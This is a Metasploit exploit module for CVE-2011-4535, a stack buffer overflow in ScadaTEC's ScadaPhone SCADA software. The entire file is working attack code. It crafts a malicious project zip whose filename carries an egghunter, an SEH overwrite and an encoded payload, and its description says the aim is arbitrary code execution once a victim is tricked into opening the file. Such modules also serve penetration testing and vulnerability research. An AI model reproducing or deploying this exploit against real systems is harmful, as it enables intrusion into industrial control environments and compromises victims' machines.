##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ScadaTEC ScadaPhone Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        version 5.3.11.1230 of scadaTEC's ScadaPhone.

        In order for the command to be executed, an attacker must convince someone to
        load a specially crafted project zip file with ScadaPhone.
        By doing so, an attacker can execute arbitrary code as the victim user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>', # found + msf
        ],
      'References'     =>
        [
          [ 'CVE', '2011-4535' ],
          [ 'OSVDB', '75375' ],
          [ 'URL', 'http://www.scadatec.com/' ],
          [ 'EDB', '17817' ],
        ],
      'Platform'          => [ 'win' ],
      'Payload'           =>
        {
          'Space'    => 700,
          'BadChars' => "\x00\x0a\x0d",
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          # POP ESI; POP EBX; RETN [ScadaPhone.exe]
          [ 'Windows Universal', { 'Ret' => 0x004014F4 } ],
        ],
      'DisclosureDate' => 'Sep 12 2011',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
        ])
  end

  def exploit

    eggoptions =
    {
      :checksum => false,
      :eggtag => 'zipz'
    }

    hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    fname = rand_text_alpha_upper(229)
    fname << hunter
    fname << rand_text_alpha_upper(48-hunter.length)
    fname << Rex::Arch::X86.jmp_short(-50)
    fname << rand_text_alpha_upper(2)
    fname << [target.ret].pack('V')
    fname << rand_text_alpha_upper(100)
    fname << egg
    fname << rand_text_alpha_upper(4096-fname.length)
    fname << [0x7478741e].pack('V')

    zip = Rex::Zip::Archive.new
    xtra = [0xdac0ffee].pack('V')
    comment = [0xbadc0ded].pack('V')
    zip.add_file(fname, xtra, comment)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(zip.pack)
  end
end
